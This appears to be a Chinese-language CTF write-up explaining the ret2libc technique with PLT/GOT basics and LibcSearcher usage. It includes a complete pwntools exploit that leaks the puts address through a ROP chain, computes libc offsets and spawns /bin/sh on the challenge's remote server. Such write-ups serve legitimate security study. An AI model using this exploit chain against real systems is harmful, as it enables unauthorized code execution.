当前位置: 首页 > news >正文

基础ret2libc

在程序中没有system或binsh的时候(或者二者都没有),通过覆盖返回地址来利用动态链接库中的system()函数

这里粗略的分为两种,一种是题目给了libc文件,一种是没给(其实我感觉ret2libc某种意义上算通解,简单题懒得动脑可以无脑libc)

先简单讲一下基本知识:

  • PLT表存放跳转代码(一段小代码,负责通过 GOT 跳转到实际函数)

  • GOT表存放的是实际地址

  • 延迟绑定:只有动态库函数在被调用时,才会地址解析和重定位工作,这样会让启动快一点

    • 打个比方,比如我要引用一篇文章,如果我把文章链接放在开头就叫直接绑定,而放在我需要他的地方就是延迟绑定

  • 根据函数地址找libc版本:

    • 一是去在线网站上输入低12位,网站就会给你列出可能的libc版本(这种可能不全,至少我用的那个不全)

    • 二是用LibcSearcher,使用方法:

      from LibcSearcher import * libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')

例题

ok了来直接看题吧

题目链接:https://www.furryctf.com/games/2/challenges#,nosystem(平台可能需要注册一下)

这题的官方解法是ret2syscall(https://fcnfx4l45efr.feishu.cn/wiki/JHJowCDz9iwEGwkTp3Hc9C8Hnif),但是我觉得拿来当例题非常合适啊,而且当时也是这么写的qwq

先简单看一下,没有能用的system和binsh,逻辑就是一个简单的溢出(passcheck和work在这种做法没用)

那这种情况下我们就要打印出puts(或者别的什么函数的实际地址)去找到libc版本,算出他的基地址进而找到system和binsh,那第一段代码就是这样

puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] start = elf.symbols['_start']#因为程序只允许我们输入一次,所以需要返回到start让程序重新启动,为下次发送payload做好准备 payload1 = b'A' * offset payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(start) p.sendlineafter("so?", payload1)

那此时我们调用了puts函数,打印出了真实地址,下一步就是接收

leak_data = p.recvline().strip() puts_addr = u64(leak_data.ljust(8, b'\x00')) print(f"泄露的 puts 地址: {hex(puts_addr)}") libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')

注意此处的libc.dump,如果我们有libc文件,就是

libc=ELF('your_libc_addr') system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh'))#python3 binsh = libc_base + libc.search('/bin/sh').next()#python2

现在就ok了,直接打吧!

payload = b'A' * offset payload += p64(ret)#64位强制16位对齐,需要加个ret(也可以用pop_rdi+1) payload += p64(pop_rdi) payload += p64(bin_sh_addr) payload += p64(system_addr) p.sendlineafter(b'so?', payload)

完整代码在这里

from pwn import * from LibcSearcher import * context.arch = 'amd64' p = remote('challenge.furryctf.com', 32820) elf = ELF(r"D:\VM_disk\shared_files\nosystem") offset = 0x40 + 8 pop_rdi = 0x0000000000401353 ret = 0x000000000040101a puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] start = elf.symbols['_start'] payload1 = b'A' * offset payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(start) p.sendlineafter("so?", payload1) leak_data = p.recvline().strip() puts_addr = u64(leak_data.ljust(8, b'\x00')) print(f"泄露的 puts 地址: {hex(puts_addr)}") libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') payload = b'A' * offset payload += p64(ret) payload += p64(pop_rdi) payload += p64(bin_sh_addr) payload += p64(system_addr) p.sendlineafter(b'so?', payload) p.interactive()

libc版本:libc6_2.31-0ubuntu9.10_amd64

http://www.jsqmd.com/news/584049/

相关文章:

  • 3.3 “给 Agent 一台电脑“——MCP 协议与开发者工具链深度集成
  • OpenClaw任务监控:gemma-3-12b-it执行日志的可视化分析
  • 高端制造企业如何设计薪酬体系吸引和留住高技能人才?
  • Serie嵌入式时间序列库:面向LPWAN的轻量级压缩框架
  • 2026二手名表回收鉴定实战:机芯、外观等多维度鉴定要点解析
  • 12306高铁票API预定接口开发文档
  • 【图书推荐】《Python大数据分析师的算法手册》
  • 重磅发布|中国移动智慧城市低空应用人工智能安全白皮书来袭
  • OpenClaw技能市场:Top10 Qwen3.5-9B实用插件推荐
  • 代码随想录算法训练营第十七天| LeetCode 654 最大二叉树、LeetCode 617 合并二叉树、LeetCode 700 二叉搜索树中的搜索、LeetCode 98 验证二叉搜索树
  • idea低版本用高版本的jdk
  • 3.2 虚拟文件系统设计:工作空间隔离与产物版本管理的工程实践
  • COMSOL天然气水合物温压力化四场耦合模拟那些事儿
  • OpenClaw成本优化方案:千问3.5-27B自建接口替代OpenAI
  • 在银滩附近玩,周边有什么好吃的推荐?
  • 软考中级九大科目资料合集!当初翻遍全网整理的,现在一次性无偿分享
  • OpenClaw安全防护指南:Qwen3-14B私有镜像的权限管控策略
  • 北海哪里有本地人常去的、不宰客的海鲜大排档?
  • 如何通过AI销冠系统和AI提效软件系统赋能数字员工实现销售效率飞跃?
  • 大子刊nc复现:连续介质中束缚态驱动下的平面手征超表面,展示最大和可调谐的三次谐波、本征手性B...
  • Linux使用pidof命令来快速查找进程id
  • 安恒网络运维管理系统的设计与实现
  • 哪些降重软件可以同时降低查重率和AIGC疑似率?2026届TOP5硬核评测与选择建议
  • 计算机毕业设计:Python全国地铁数据可视化分析平台 Flask框架 数据分析 可视化 高德地图 数据挖掘 机器学习 爬虫(建议收藏)✅
  • COMSOL混凝土碳化模型
  • LPS28DFW气压传感器Arduino库深度解析与工程实践
  • 下载 | Windows Server 2025官方原版ISO映像!(3月更新、标准版、数据中心版、26100.32522)
  • windows的命令行
  • 4.1 AI 多智能体框架开发:上下文工程与信息隔离架构设计
  • TensorFlow学习笔记:优化器对比实验